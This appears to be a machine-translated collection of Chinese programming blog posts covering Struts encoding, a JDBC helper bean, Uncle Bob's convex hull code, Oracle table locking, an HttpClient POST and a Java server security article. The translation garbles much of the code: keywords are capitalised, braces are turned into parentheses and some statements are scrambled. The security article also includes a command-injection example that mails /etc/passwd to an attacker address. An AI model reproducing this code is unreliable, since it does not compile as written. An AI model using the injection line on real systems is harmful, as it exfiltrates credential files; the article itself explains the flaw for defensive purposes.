Applicationresource.properties problems in the Chinese

  I applicationresource.properties struts in the Chinese language in the jsp page hash ask how to resolve? 
  The problem points: 20, the number of replies: 4 1 floor henry_cn (knowledge: to learn, to ask!)  Four user version of the score less than or equal to 2000 points, more than 1000 points   Reply scored 17 in 2003-12-22 15:46:59 
 
Applicationresource.properties your own documents with the JDK to what native2ascii 
 
Format: native2ascii-encoding GBK applicationresource.properties applicationresource_zh_CN.properties 

JavaBean package with a JDBC operations

  On the database in the importance of project development, I think I do not have on this fruitless so on the importance of the database operation, I do not think I would even call!    But you thought that such a few problems: in your every item in the total number of sub-projects need to database operations?    For the operation of your database design JavaBean will meet the requirements of different component?    When users request the use of other database systems, you need to document compiled Class recompiled? 
  If you are a very diligent programmer, you might say: "indifferent, as long as amend the connection and then on OK to compile!" But you have ever thought about, if we can spend a little time to perfect this JavaBean We even such "modifications" are omit? 
  The author is not a diligent programmers, and therefore hoped that through a JavaBean to complete most of the database operations at the same time hope that the JavaBean able to meet most of the current mainstream database.    On this basis, write a JavaBean, being named LPWDatabaseOperation.    JavaBean for the following information: 
  First, support for Oracle, Sybase, MySQL, SQLServer, DB2, PostgreSQL, Jdbc-Bridge-Odbc database, such as the operation of the DriverManager format; 
  Second, provide a Tomcate servers as a platform for the operation of data sources (such as other WebLogic, WebSphere, and other large server, usually through entities Bean to access a database, the procedure did not provide both server data source access, but retain the corresponding location, interested readers can add their own conduct.); 
  Third, the use of only one method of data executeSQL to add, delete, modify, and query operations unified treatment method eliminates the trouble of multiple memory; 
  4, provides a simple paging display support. 
  This paper provides a JavaBean the integrity of the source code, source code files are detailed in the Notes, interested readers can be compiled into development documents for ready reference.    Source code as follows: 
  Package lpw.beans; 

  Import java.sql.DriverManager; 
  Import java.sql.Connection; 
  Import java.sql.PreparedStatement; 
  Import java.sql.ResultSet; 
  Import javax.sql.DataSource; 
  Import javax.naming.Context; 
  Import javax.naming.InitialContext; 

  / ** 
  * <p> Title: </ p> 
  * <p> Description: </ p> 
  * <p> Copyright: Copyright  Coffee   2004 </ p> 
  * <p> Company: LU Pei Wen </ p> 
  * @ Author not attributable 
  * @ Version 1.0 
  * / 
  Public class LPWDatabaseOperation 
  ( 
  / ** 
  * Use Oracle format DriverManager 
  * @ See LPWDatabaseOperation # getUseContextType 
  * / 
  Public final int useOracleDriverManager = 0; 
  / ** 
  * Sybase format DriverManager 
  * @ See LPWDatabaseOperation # getUseContextType 
  * / 
  Public final int useSybaseDriverManager = 1; 
  / ** 
  * Use MySQL format DriverManager 
  * @ See LPWDatabaseOperation # getUseContextType 
  * / 
  Public final int useMysqlDriverManager = 2; 
  / ** 
  * Use SQLServer format DriverManager 
  * @ See LPWDatabaseOperation # getUseContextType 
  * / 
  Public final int useSqlserverDriverManager = 3; 
  / ** 
  * Use DB2 format DriverManager 
  * @ See LPWDatabaseOperation # getUseContextType 
  * / 
  Public final int useDb2DriverManager = 4; 
  / ** 
  * Informix format DriverManager 
  * @ See LPWDatabaseOperation # getUseContextType 
  * / 
  Public final int useInformixDriverManager = 5; 
  / ** 
  * Use PostgreSQL format DriverManager 
  * @ See LPWDatabaseOperation # getUseContextType 
  * / 
  Public final int usePostgresqlDriverManager = 6; 
  / ** 
  * Use Jdbc-Odbc-Bridge format DriverManager 
  * @ See LPWDatabaseOperation # getUseContextType 
  * / 
  Public final int useJdbcOdbcBridge = 7; 
  / ** 
  * Use Tomcate format DataSource 
  * @ See LPWDatabaseOperation # getUseContextType 
  * / 
  Public final int useTomcateDataSource = 8; 
  / ** 
  * WebLogic format DataSource 
  * @ See LPWDatabaseOperation # getUseContextType 
  * / 
  Public final int useWeblogicDataSource = 9; 
  / ** 
  * Use the format WebSphere DataSource 
  * @ See LPWDatabaseOperation # getUseContextType 
  * / 
  Public final int useWebsphereDataSource = 10; 
  ////////////////////////////////////////////////// ////////////////////////// 
  Private String [] driverManagerType; 
  Private int useContextType; 
  Private int pageSize, pageCount, absolutePage, recordCount; 
  ////////////////////////////////////////////////// ////////////////////////// 
  Private Connection connection; 
  Private PreparedStatement preparedStatement; 
  Private ResultSet resultSet; 

  / ** 
  * Constructors LPWDatabaseOperation. 
  * The structure takes choice used by the type of environment, 
  * LPWDatabaseOperation support multiple drives and mainstream DriverManager DataSource environment, 
  * Definition of a number of commonly used and DriverManager DataSource and the standard format, 
  * Including Oracle, Sybase, MySQL, such as SQLServer database DriverManager mainstream format, 
  * Odbc and Jdbc-Bridge-standard format, 
  * At the same time also provided Tomcate, WebLogic and WebSphere DataSource under the standard format, 
  * When using the programmer need only select the appropriate constants can be. 
  * @ Param useContextType int <br> use of the type of environment 
  * @ See LPWDatabaseOperation # getUseContextType 
  * / 
  Public LPWDatabaseOperation (int useContextType) 
  ( 
  If (useContextType <0) useContextType = 0; 
  If (useContextType> 7) useContextType = 7; 
  This.useContextType = useContextType; 
  ////////////////////////////////////////////////// ////////////////////// 
  This.driverManagerType [this.useOracleDriverManager] = new String ( "oracle.jdbc.driver.OracleDriver"); 
  This.driverManagerType [this.useSybaseDriverManager] = new String ( "com.sybase.jdbc.SybDriver"); 
  This.driverManagerType [this.useMysqlDriverManager] = new String ( "com.mysql.jdbc.Driver"); 
  This.driverManagerType [this.useSqlserverDriverManager] = new String ( "com.microsoft.jdbc.sqlserver.SQLServerDriver"); 
  This.driverManagerType [this.useDb2DriverManager] = new String ( "com.ibm.db2.jdbc.app.DB2Driver"); 
  This.driverManagerType [this.useInformixDriverManager] = new String ( "com.informix.jdbc.IfxDriver"); 
  This.driverManagerType [this.usePostgresqlDriverManager] = new String ( "org.postgresql.Driver"); 
  This.driverManagerType [this.useJdbcOdbcBridge] = new String ( "sun.jdbc.odbc.JdbcOdbcDrive"); 
  ////////////////////////////////////////////////// ////////////////////// 
  This.pageSize = 20; 
  This.pageCount = 0; 
  This.absolutePage = 0; 
  This.recordCount = 0; 
  ////////////////////////////////////////////////// ////////////////////// 
  This.connection = null; 
  This.preparedStatement = null; 
  This.resultSet = null; 
  ) 

  / ** 
  * Open database, the methods need to provide the URL database, the user name and user password. 
  * After the success of the database will be open executeSQL way through the database to operate. 
  * @ Param databaseURL String <br> database URL address, if you use the database for DataSource JNDI-Name 
  * @ Param userName String <br> user name 
  * @ Param password String <br> user passwords 
  * @ Throws java.sql.SQLException 
  * @ Throws java.lang.ClassNotFoundException 
  * @ Throws javax.naming.NamingException 
  * / 
  Public void openDatabase (String databaseURL, String userName, String password) 
  Throws java.sql.SQLException, java.lang.ClassNotFoundException, javax.naming.NamingException 
  ( 
  If (this.useContextType> = 0 & & this.useContextType <= this.useJdbcOdbcBridge) 
  ( 
  Class.forName (this.driverManagerType [this.useContextType]); 
  This.connection = DriverManager.getConnection (databaseURL, userName, password); 
  ) 
  Else if (this.useContextType == this.useTomcateDataSource) 
  ( 
  Context context = new InitialContext (); 
  DataSource dataSource = (DataSource) context.lookup (databaseURL); 
  This.connection = dataSource.getConnection (userName, password); 
  ) 
  Else if (this.useContextType == this.useWeblogicDataSource) 
  ( 
  ) 
  Else if (this.useContextType == this.useWebsphereDataSource) 
  ( 
  ) 
  ) 

  / ** 
  * Executing SQL statements, it could be Select, Insert, Delete, and Update of any one. 
  * @ Param sql String <br> to the implementation of the SQL statement 
  * @ Return ResultSet <br> if the query operation, the return to the query operation ResultSet If the other is the implementation of the operation, return null. 
  * @ Throws java.sql.SQLException 
  * / 
  Public ResultSet executeSQL (String sql) throws java.sql.SQLException 
  ( 
  Sql = sql.trim (); 
  This.preparedStatement = this.connection.prepareStatement (sql, ResultSet.TYPE_SCROLL_SENSITIVE, ResultSet.CONCUR_UPDATABLE); 
  If (sql.substring (0,1). EqualsIgnoreCase ( "s")) 
  ( 
  This.resultSet = this.preparedStatement.executeQuery (sql); 
  Return this.resultSet; 
  ) 
  Else 
  ( 
  This.preparedStatement.executeUpdate (sql); 
  Return null; 
  ) 
  ) 

  / ** 
  * Close Database 
  * @ Throws java.sql.SQLException 
  * / 
  Public void closeDatabase () throws java.sql.SQLException 
  ( 
  If (this.resultSet! = Null) 
  ( 
  This.resultSet.close (); 
  ) 
  If (this.preparedStatement! = Null) 
  ( 
  This.preparedStatement.close (); 
  ) 
  If (this.connection! = Null) 
  ( 
  This.connection.close (); 
  ) 
  ) 

  / ** 
  * Was currently using the type of environment. 
  * LPWDatabaseOperation defined by these values: <br> 
  * UseOracleDriverManager - using Oracle format DriverManager <br> 
  * UseSybaseDriverManager - use Sybase format DriverManager <br> 
  * UseMysqlDriverManager - use MySQL format DriverManager <br> 
  * UseSqlserverDriverManager - use SQLServer format DriverManager <br> 
  * UseDb2DriverManager - use DB2 format DriverManager <br> 
  * UseInformixDriverManager - use Informix format DriverManager <br> 
  * UsePostgresqlDriverManager - use PostgreSQL format DriverManager <br> 
  * UseJdbcOdbcBridge - Jdbc-Odbc-use format DriverManager <br> Bridge 
  * UseTomcateDataSource - use Tomcate format DataSource <br> 
  * UseWeblogicDataSource - use WebLogic format DataSource <br> 
  * UseWebsphereDataSource - use WebSphere format DataSource 
  * @ See LPWDatabaseOperation # useOracleDriverManager 
  * @ See LPWDatabaseOperation # useSybaseDriverManager 
  * @ See LPWDatabaseOperation # useMysqlDriverManager 
  * @ See LPWDatabaseOperation # useSqlserverDriverManager 
  * @ See LPWDatabaseOperation # useDb2DriverManager 
  * @ See LPWDatabaseOperation # useInformixDriverManager 
  * @ See LPWDatabaseOperation # usePostgresqlDriverManager 
  * @ See LPWDatabaseOperation # useJdbcOdbcBridge 
  * @ See LPWDatabaseOperation # useTomcateDataSource 
  * @ See LPWDatabaseOperation # useWeblogicDataSource 
  * @ See LPWDatabaseOperation # useWebsphereDataSource 
  * @ Return int <br> use of the current type of environment 
  * / 
  Public int getUseContextType () 
  ( 
  Return useContextType; 
  ) 

  / ** 
  * Set up the current page to be displayed per page to display data from several methods of parameter values setPageSize decision 
  * When the input value is less than 1 page, the first page will be displayed; 
  * When the input value to the page than the last page of the page, the last page will be displayed. 
  * It must be noted that, through the result set to setAbsolutePage positioning, and will not make enquiries result set change, 
  * And concentrate only on the results of the indicators (cursor), the locator. 
  * So if the real programmers want paging effect, reference should be made to achieve the following procedures for the corresponding function: <br> 
  * LPWDatabaseOperation database; <br> 
  * <br> 
  * ResultSet resultSet = database.executeSQL ( "Select * From Table"); <br> 
  * <br> 
  * Database.setPageSize (20); <br> 
  * Database.setAbsolutePage (2); <br> 
  * For (int i = 1; i <= database.getPageSize (); i + +) <br> 
  * (<br> 
  * <br> 
  * If (resultSet.isLast ()) <br> 
  * (<br> 
  * Break; <br> 
  *) <br> 
  * ResultSet.next (); <br> 
  *) 
  * @ See LPWDatabaseOperation # setPageSize 
  * @ Param absolutePage int <br> to show value to the page 
  * / 
  Public void setAbsolutePage (int absolutePage) 
  ( 
  This.getPageCount (); 
  If (absolutePage <1) absolutePage = 1; 
  If (absolutePage> this.pageCount) absolutePage = this.pageCount; 
  This.absolutePage = absolutePage; 
  ) 
  / ** 
  * Was revealed that the current value of the page 
  * @ Return int <br> value currently displayed page 
  * / 
  Public int getAbsolutePage () 
  ( 
  Return absolutePage; 
  ) 

  / ** 
  * Set up each page of the few records show. 
  * When the input parameter values less than 1:00, a record per page; 
  * When the input parameter values greater than the total number of records, all data will be displayed; 
  * The default is 20 per page will be displayed records. 
  * The programmer can change the current method setAbsolutePage displayed page. 
  * @ See LPWDatabaseOperation # setAbsolutePage 
  * @ Param pageSize int <br> Every page shows the number of rows of data 
  * / 
  Public void setPageSize (int pageSize) 
  ( 
  If (pageSize <1) pageSize = 1; 
  This.pageSize = pageSize; 
  ) 
  / ** 
  * Access to the records to be displayed per page of the few 
  * @ Return int <br> per page of the record number 
  * / 
  Public int getPageSize () 
  ( 
  Return pageSize; 
  ) 

  / ** 
  * The results obtained show that the total set of pages, and its value is: the record / per page of the records of [+1]. 
  * @ Return int <br> Results Set Records show that the total number of pages 
  * / 
  Public int getPageCount () 
  ( 
  This.getRecordCout (); 
  This.pageCount = this.recordCount / this.pageSize; 
  If ((this.recordCount% this.pageSize! = 0)) this.pageCount + +; 
  Return pageCount; 
  ) 

  / ** 
  * Access to the record result set several records 
  * @ Return int <br> record of the total result set several records 
  * / 
  Public int getRecordCout () 
  ( 
  Try 
  ( 
  If (this.resultSet.last ()) 
  ( 
  This.recordCount = this.resultSet.getRow (); 
  ) 
  Else 
  ( 
  This.recordCount = 0; 
  ) 
  ) 
  Catch (java.sql.SQLException e) 
  ( 
  ) 
  Finally 
  ( 
  Return this.recordCount; 
  ) 
  ) 
  ) 

Java, C + + and the performance of Ruby PK (continued) - on the convex hull algorithm (convex hull) efficiency

  Translator sequence 

  This blog is actually Uncle Bob xreborner on to the post in a series of responses (xreborner blog in the last chapter on Uncle Bob made a series of sharp and the maintenance of the rights and interests of C + + view). 

  Text 

  I blog in a recent comparison of C + +, Java, and Ruby time consumption, one of the participants (xreborner) submitted a convex hull of the convex hull algorithm code.    I have spent a long time to study them to tamper with until the algorithm in Figure Drawing, found himself the dark. 

  Xreborner algorithm used as a Graham Scan algorithm, it was the complexity of O (nLogn) level.    In fact, this algorithm is the time in which the rapid consumption on the order. 

  Another algorithm called Jarvis March, also known as the giftwrapping algorithm.    It was the complexity of O (kn) level, k represents the convex hull of the number of vertices. 

  I am very curious about these two algorithms which will be faster and more, it is clear that only in logn <k time, O (nLogn) will than O (kn) fast.    But there is another a consideration, because Jarvis March than Graham Scan simple, I think in the vast majority of cases, the algorithm will Jarvis March is a better choice, because only in the convex hull of the very large number of vertices circumstances Graham algorithm efficiency will lead.    So I prepared Jarvis March algorithm, and the Graham Scan and xreborner done, the results are as follows: 

  Is not very interesting?    I constructed points and 1,000 randomly drawn time and convex hull of the number of vertices.    Just look at the intersection of these random convex hull number of vertices in the middle position, and is probably at 37 points!    I guess this is a coincidence, but also enough magic ah. 

  Oh, as an exercise to see if you are not able to understand Jarvis March, but also can get a look at Graham Scan. 

  Import java.util .*; 

  (Public class JarvisMarch 
  Points pts; 
  Private Points hullPoints = null; 
  Private List <Double> hy; 
  Private List <Double> hx; 
  Private int startingPoint; 
  Private double currentAngle; 
  Private static final double MAX_ANGLE = 4; 

  Public JarvisMarch (Points pts) ( 
  This.pts = pts; 
  ) 

  / ** 
  * The Jarvis March, sometimes known as the Gift Wrap Algorithm. 
  * The next point is the point with the next largest angle. 
  * <p/> 
  * Imagine wrapping a string around a set of nails in a board. Tie the string to the leftmost nail 
  * And hold the string vertical. Now move the string clockwise until you hit the next, then the next, then 
  * The next. When the string is vertical again, you will have found the hull. 
  * / 
  Public int calculateHull () ( 
  InitializeHull (); 

  StartingPoint = getStartingPoint (); 
  CurrentAngle = 0; 

  AddToHull (startingPoint); 
  For (int p = getNextPoint (startingPoint); p! = StartingPoint; getNextPoint p = (p)) 
  AddToHull (p); 

  BuildHullPoints (); 
  Return hullPoints.x.length; 
  ) 

  Public int getStartingPoint () ( 
  Return pts.startingPoint (); 
  ) 

  Private int getNextPoint (int p) ( 
  Double minAngle = MAX_ANGLE; 
  Int minP = startingPoint; 
  For (int i = 0; i <pts.x.length; i + +) ( 
  If (i! = P) ( 
  RelativeAngle double thisAngle = (i, p); 
  If (thisAngle> = currentAngle & thisAngle <= minAngle) ( 
  MinP = i; 
  MinAngle = thisAngle; 
  ) 
  ) 
  ) 
  CurrentAngle = minAngle; 
  Return minP; 
  ) 

  Private double relativeAngle (int i, int p) (return pseudoAngle (pts.x [i] - pts.x [p], [i] pts.y - pts.y [p]);) 

  Private void initializeHull () ( 
  Hx = new LinkedList <Double> (); 
  Hy = new LinkedList <Double> (); 
  ) 

  Private void buildHullPoints () ( 
  Double ax [] = new double [hx.size ()]; 
  Ay double [] = new double [hy.size ()]; 
  Int n = 0; 
  For (Iterator <Double> ix = hx.iterator (); ix.hasNext ();) 
  Ax [n + +] = ix.next (); 

  N = 0; 
  For (Iterator <Double> iy = hy.iterator (); iy.hasNext ();) 
  Ay [n + +] = iy.next (); 

  HullPoints = new Points (ax, ay); 
  ) 

  Private void addToHull (int p) ( 
  Hx.add (pts.x [p]); 
  Hy.add (pts.y [p]); 
  ) 

  / ** 
  * The PseudoAngle is a number that increases as the angle from vertical increases. 
  * The current implementation has the maximum pseudo angle <4. The pseudo angle for each quadrant is one. 
  * The algorithm is very simple. It just finds where the angle intesects a square and measures the 
  * Perimeter of the square at that point. The math is in my Sept'06 notebook. UncleBob. 
  * / 
  Public static double pseudoAngle (double dx, double dy) ( 
  If (dx> = 0 & & dy> = 0) 
  Return quadrantOnePseudoAngle (dx, dy); 
  If (dx> = 0 & & dy <0) 
  Return 1 + quadrantOnePseudoAngle (Math.abs (dy), dx); 
  If (dx <0 & & dy <0) 
  Return 2 + quadrantOnePseudoAngle (Math.abs (dx), Math.abs (dy)); 
  If (dx <0 & & dy> = 0) 
  Return 3 + quadrantOnePseudoAngle (dy, Math.abs (dx)); 
  Throw new Error ( "Impossible"); 
  ) 

  Public static double quadrantOnePseudoAngle (double dx, double dy) ( 
  Return dx / (dy + dx); 
  ) 

  Public Points getHullPoints () ( 
  Return hullPoints; 
  ) 


  (Public static class Points 
  Public double x []; 
  Public double y []; 

  Public Points (double [] x, y double []) ( 
  This.x = x; 
  This.y = y; 
  ) 

  / / The starting point is the point with the lowest X 
  / / With ties going to the lowest Y. This guarantees 
  / / That the next point over is clockwise. 
  Int startingPoint () ( 
  Double minY = y [0]; 
  Double minX = x [0]; 
  Int iMin = 0; 
  For (int i = 1; i <x.length; i + +) ( 
  If (x [i] <minX) ( 
  MinX [i] = x; 
  IMin = i; 
  ) Else if (x == minX [i] & & y [i] <minY) ( 
  MinY [i] = y; 
  IMin = i; 
  ) 
  ) 
  Return iMin; 
  ) 

  ) 
  ) 

  (Original link URL: http://www.butunclebob.com/ArticleS.UncleBob.ConvexHullTiming; Robert C. Martin English blog URL: http://www.butunclebob.com/ArticleS.UncleBob) 

  About the author: Robert C. Martin, president of the Object Mentor, object-oriented design, model, UML and Agile and Extreme Programming methodology in the field of senior advisers.    Not only is he Jolt award-winning book, "Agile Software Development: Principles, Patterns and Practice" (Chinese version) (the "Agile Software Development" (English version of photocopying)), writer or the best-selling book Designing Object-Oriented C + + Applications Using the Booch Method the author.    Martin is Pattern Languages of Program Design 3 and More C + + Gems editor-in-chief and co-author with James Newkirk of XP in Practice.    He is well-known on the international programmers A spokesman for the General Assembly, and in the C + + Report magazine four years as editor. 

LOCK TABLE Statement

  Manually lock one or more tables. 

Syntax:

  LOCK TABLE [schema.] Table [options] IN lockmode MODE [NOWAIT] 

  LOCK TABLE [schema.] View [options] IN lockmode MODE [NOWAIT] 

Options:
  PARTITION (partition) 
  SUBPARTITION (subpartition) 
  @ Dblink 

  Lockmodes: 
EXCLUSIVE
SHARE
  ROW EXCLUSIVE 
  SHARE ROW EXCLUSIVE 
  ROW SHARE * | * SHARE UPDATE 

  If NOWAIT is omitted Oracle will wait until the table is available. 

  Several tables can be locked with a single command - separate with commas 

  Eg LOCK TABLE table1, table2, table3 IN ROW EXCLUSIVE MODE; 

  Default Locking Behaviour 

  A pure SELECT will not lock any rows. 

  INSERT, UPDATE or DELETE's - will place a ROW EXCLUSIVE lock. 

  SELECT … FROM … FOR UPDATE NOWAIT - will place a ROW EXCLUSIVE lock. 

  Multiple Locks on the same rows with LOCK TABLE 

  Even when a row is locked you can always perform a SELECT (because SELECT does not lock any rows) in addition to this, each type of lock will allow additional locks to be granted as follows. 

  ROW SHARE = Allow ROW EXCLUSIVE or ROW SHARE or SHARE locks to be granted to the locked rows. 

  ROW EXCLUSIVE = Allow ROW EXCLUSIVE or ROW SHARE locks to be granted to the locked rows. 

  SHARE ROW EXCLUSIVE = Allow ROW SHARE locks to be granted to the locked rows. 

  SHARE = Allow ROW SHARE or SHARE locks to be granted to the locked rows. 

  EXCLUSIVE = Allow SELECT queries only 

  Although it is valid to place more than one lock on a row, UPDATES and DELETE's may still cause a wait if a conflicting row lock is held by another transaction. 

  Oracle * = 6 option included for compatibility 

  Related Commands: 

  COMMIT 
  DELETE 
  INSERT 
  ROLLBACK 
  SELECT 
  UPDATE 
  DBMS_LOCK 

  Related Views: 

  DBA_ALL_TABLES ALL_ALL_TABLES USER_ALL_TABLES 
  DBA_TABLES ALL_TABLES USER_TABLES TAB 
  DICTIONARY 
  DICT_COLUMNS 
  V $ LOCK 
  V $ _LOCK 
  V $ LOCKED_OBJECT 
  V $ LOCKS_WITH_COLLISIONS 
  V $ LOCK_ACTIVITY 
  V $ LOCK_ELEMENT 

POST java simulation of the application form HTTPCLIENT operation and matters needing attention

  Httpclient method used to post the data source code: 

  Package post; 

  Import java.io.IOException; 

  Import org.apache.commons.httpclient.Header; 
  Import org.apache.commons.httpclient.HttpClient; 
  Import org.apache.commons.httpclient.HttpException; 
  Import org.apache.commons.httpclient.HttpStatus; 
  Import org.apache.commons.httpclient.NameValuePair; 
  Import org.apache.commons.httpclient.methods.PostMethod; 

  (Public class PostHttp 

  / ** 
  * @ Param args 
  * / 
  Public static void main (String [] args) ( 
  / / TODO Auto-generated method stub 
  HttpClient httpClient = new HttpClient (); 
  String url = "http://193.167.13.21/setup.cgi"; 
  PostMethod postMethod = new PostMethod (url); 
  / / Fill in the value of various forms domain 
  NameValuePair data [] = ( 
  New NameValuePair ( "ID", "11"), 
  New NameValuePair ( "mtg", "0"), 
  New NameValuePair ( "haveCookie", "0"), 
  New NameValuePair ( "backID", "30"), 
  New NameValuePair ( "psw", "password") 
  ); 
  / / Add to the value of the form in postMethod 
  PostMethod.setRequestBody (data); 
  / / Implementation postMethod 
  Int statusCode = 0; 
  Try ( 
  StatusCode = httpClient.executeMethod (postMethod); 
  ) Catch (HttpException e) ( 
  / / TODO Auto-generated catch block 
  E.printStackTrace (); 
  ) Catch (IOException e) ( 
  / / TODO Auto-generated catch block 
  E.printStackTrace (); 
  ) 
  / / HttpClient to receive follow-up services for the request, such as POST and PUT be processed automatically transmitted 
  / / 301 or 302 
  If (HttpStatus.SC_MOVED_PERMANENTLY statusCode == | | == HttpStatus.SC_MOVED_TEMPORARILY statusCode) 
  ( 
  / / Removed from scratch to address 
  Header locationHeader = postMethod.getResponseHeader ( "location"); 
  String location = null; 
  If (locationHeader! = Null) ( 
  Location = locationHeader.getValue (); 
  System.out.println ( "The page was redirected to:" + location); 
  ) 
  Else ( 
  System.err.println ( "Location field value is null."); 
  ) 
  Return; 
  ) 
  Else 
  ( 
  System.out.println (postMethod.getStatusLine ()); 
  String str = ""; 
  Try ( 
  PostMethod.getResponseBodyAsString str = (); 
  ) Catch (IOException e) ( 
  / / TODO Auto-generated catch block 
  E.printStackTrace (); 
  ) 
  System.out.println (str); 
  ) 
  PostMethod.releaseConnection (); 
  Return; 
  ) 

  ) 
  / / This is a user authentication information during landing 

  Which needs jar package: 

  1, commons-httpclient-3.1-rc1.zip http://jakarta.apache.org/commons/httpclient/downloads.html 

  2, commons-codec-1.3.jar http://jakarta.apache.org/site/downloads/downloads_commons-codec.cgi 

  3, commons-logging-api.jar in tomcat5.5 in Tomcat 5.5 \ bin directory or http://jakarta.apache.org/site/downloads/downloads_commons-logging.cgi 

Job is reposted: server-side Java programming security required reading

  An outline prepared by the application of Internet security is not an easy task: Just take a look at the various professional bulletin board can be found on the continuous reports of security vulnerabilities.    How do you assure its Internet application does not like other people's applications as full of loopholes?    How do you ensure that his name will not appear in embarrassing to the major accidents reported? 
  If you use Java Servlet, JavaServer Pages (JSP) or EJB, and many difficult issues have been resolved beforehand.    Of course, there are still loopholes may arise.    Below we take a look at what these loopholes, and why Java programmers have to worry about the part of C and Perl programmers must face. 
  C programmers should have been on the security flaws are very familiar with, such as OpenBSD project provides to deal with such issues of security systems.    Java language to deal with this problem experience less than 20 C, but on the other hand, Java as a programming language was born client, the client's security requirements more stringent than the server-side.    It means that the development of Java has a solid security foundation. 
  Java is the goal of positioning the original browser.    However, the browser itself bring the Java Virtual Machine, although good, but not perfect.    Sun's "Chronology of security-related bugs and issues," summed up the run-time environment found loopholes history.    We know that when used as server-side Java programming language, these loopholes can be used as a means of attack.    But even as a client Java programming language, the number of major security issues from 1996 to six (three of them is a very serious problem) down to the year 2000 one.    However, the relative safety of this increase does not mean that the server-side Java as a programming language has absolute security, it only means that an attacker could use the attack means more and more restrictions.    Well, what if there are areas vulnerable to attacks, and other programming languages is how to face similar problems? 
  Second, the buffer overflow in the C procedures, buffer overflow is the most common security risks.    User input buffer overflow in more than has been allocated memory space (for the exclusive use of user input) there.    Buffer overflow resulting applications are likely to become the key factor in coverage.    C procedure is prone to buffer overflow, but Java programs almost impossible buffer overflow. 
  Input from the input data stream read C code usually as follows: 
  Char buffer [1000]; 
  Int len = read (buffer); 

  As the size of the cache read data before determining the system to check reservations for the importation of the adequacy of the cache is very difficult.    Buffer overflow procedure allows users to cover a key part of the data structure, resulting in a hidden danger to security.    Experienced attacker can use this data directly to the code and inserted into a running program. 
  In Java, we generally use an array of characters rather than string preserve user input.    In front of C code with the equivalent Java code as follows: 
  String buffer = in.readLine (); 

  Here, the "cache" the size of the input and always exactly the same size.    As in the creation of Java after the string can not be changed, it will be impossible to a buffer overflow.    Even so, that the use of an array of characters as a substitute string cache, Java not as easy as C generate an attacker to take security vulnerabilities.    For example, the following code will produce Java overflow: 
  Bad char [] = new char [6]; 
  Bad [7] = 50; This code is always trotted out a java.lang.ArrayOutOfBoundsException anomaly and the anomaly can be caught by their own procedures: 
  Try ( 
  Bad char [] = new char [6]; 
  Bad [7] = 50; 
  ) 
  Catch (ArrayOutOfBoundsException ex) ( 
  …) 

  This process will never lead to unpredictable behavior.    Regardless of the method used an array overflow, we always ArrayOutOfBoundsException abnormal, and the underlying Java runtime environment is able to protect themselves from any infringement.    Generally speaking, the use of the Java string type string handling, we do not worry about string ArrayOutOfBoundsExceptions abnormal, it is an ideal choice. 
  Java programming model fundamentally changed the ways of handling user input, the input to avoid buffer overflow, making Java programmers out of the most dangerous programming loopholes. 

  Third, competition is competition among the Race Condition, it is the second most common type of security vulnerabilities.    In the creation (change) resources to modify resources to prohibit access to resources critical moment, if a process is to allow access to resources, there will be competition in this state.    The key question is: if a mandate by the two steps constitute essential, no matter how much you want to let this two-step implementation of one another immediately, the operating system does not guarantee this.    For example, in the database, the Panel mechanism makes two separate incidents "of the atom."    In other words, the process of creating a document and then change the competence of this document to prohibit conventional visits; At the same time, another unprivileged process can be dealt with the document, the process of deception has the prerogative to revise the wrong document, or set up in the authority after the continue to visit the original document. 
  In general, the standard Unix and NT environment, a number of high-priority process to be able to insert their own mandate of the number of steps between, but that in the process of Java server does not exist at the same time, prepared with pure Java it is impossible to modify procedures for the licensing authority.    Hence, most from the document visit resulted in the state of competition in Java do not occur, but that does not mean Java completely got rid of this problem, but a problem to a virtual machine. 
  We look at other types of development platform how to deal with this problem.    In Unix, we must ensure that the default mode is to create security documents, such as prior to commencement of the implementation of the server "umask 200" this command.    The umask more information, please Unix systems from the command line on the implementation of the "man umask" Show the man umask documents. 
  In the NT environment, we must be operated ACL (Access Control List, Access Control List), safety markings, in its protection to create the directory below.    NT General of new documents from its parent directory inherit access permission.    Please refer to NT documentation for more information. 
  Java competition in the state most of the time appears in the critical area code.    For example, the user login process, the system must generate a unique digital identifier as a user session.    To this end, the system to produce a random number, and then type in the hash table of the data structure of the inspection has been whether the figure of other users.    If this figure was not other users, put it Add to the list in order to prevent other casual users.    Listing 1 shows the code such as: 
  (Listing 1) 
  / / Keep the user login ID 
  Hashtable hash; 
  / / Random number generator 
  Random rand; 
  / / Generate a random number 
  Integer id = new Integer (rand.nextInt ()); 
  While (hash.containsKey (id)) 
  ( 
  Id = new Integer (rand.nextInt ()); 
  ) 
  / / For the retention of the current user ID 
  Hash.put (id, data); 

  Listing 1 code may have a serious problem: If there are two threads implementation of Listing 1 code, which hash.put Sort of a thread in this line of code before re-scheduling, this time with a random ID may be used twice.    In Java, we have two ways to solve this problem.    First, Listing 1's code can be rewritten as in the form of Listing 2, ensure that only one thread of code to implement the key to prevent the re-deployment of threads, to avoid the emergence of competition in the state.    Secondly, if the previous code is part of EJB server, we use the best there is a control mechanism EJB server thread the only ID services. 
  (Listing 2) 
  Synchronized (hash) 
  ( 
  / / Only generate a random number 
  Integer id = 
  New Integer (rand.nextInt ()); 
  While (hash.containsKey (id)) 
  ( 
  Id = new Integer (rand.nextInt ()); 
  ) 
  / / For the retention of the current user ID 
  Hash.put (id, data); 
  ) 

  Fourth, the implementation of a string explained in some programming language, the input string can be inserted into a special function to deceive the server to the additional, unnecessary movements.    Below the Perl code is an example: 
  $ Data = "mail body"; 
  System ( "/ usr / sbin / sendmail-t $ 1 <$ data"); 

  Clearly, these CGI code can be used as part of the process, or you can call the command line.    Usually, it can call in the following way: 
  Perl script.pl honest@true.com 

  It will send a message (that is, "mail body") honest@true.com sent to the user.    Although this example simple, but we can attack in the following way: 
  Perl script.pl honest@true.com; mail 
  Cheat@liarandthief.com </ etc / passwd 

  This command to a blank e-mail sent to honest@true.com while at the same time system password files sent to the cheat@liarandthief.com.    If the code is part of the process of CGI, it will bring significant server security threat. 
  Perl programmers often use external program (such as sendmail) to expand the functions of Perl, originally achieve with their feet in order to avoid the function of external procedures.    However, a very comprehensive Java API.    For example, the e-mail sent, JavaMail API is a good API.    However, if you compare lazy, and would like to use the external mailing procedures email: 
  Runtime.getRuntime (). Exec ( "/ usr / sbin / sendmail-t $ retaddr <$ data"); 

  In fact this is not feasible.    Java generally not allow the OS-level "<" and ";" as a symbol of the structure Runtime.exec () part.    You may try to use the following methods to solve this problem: 
  Runtime.getRuntime (). Exec ( "sh / usr / sbin / sendmail-t $ retaddr <$ data"); 

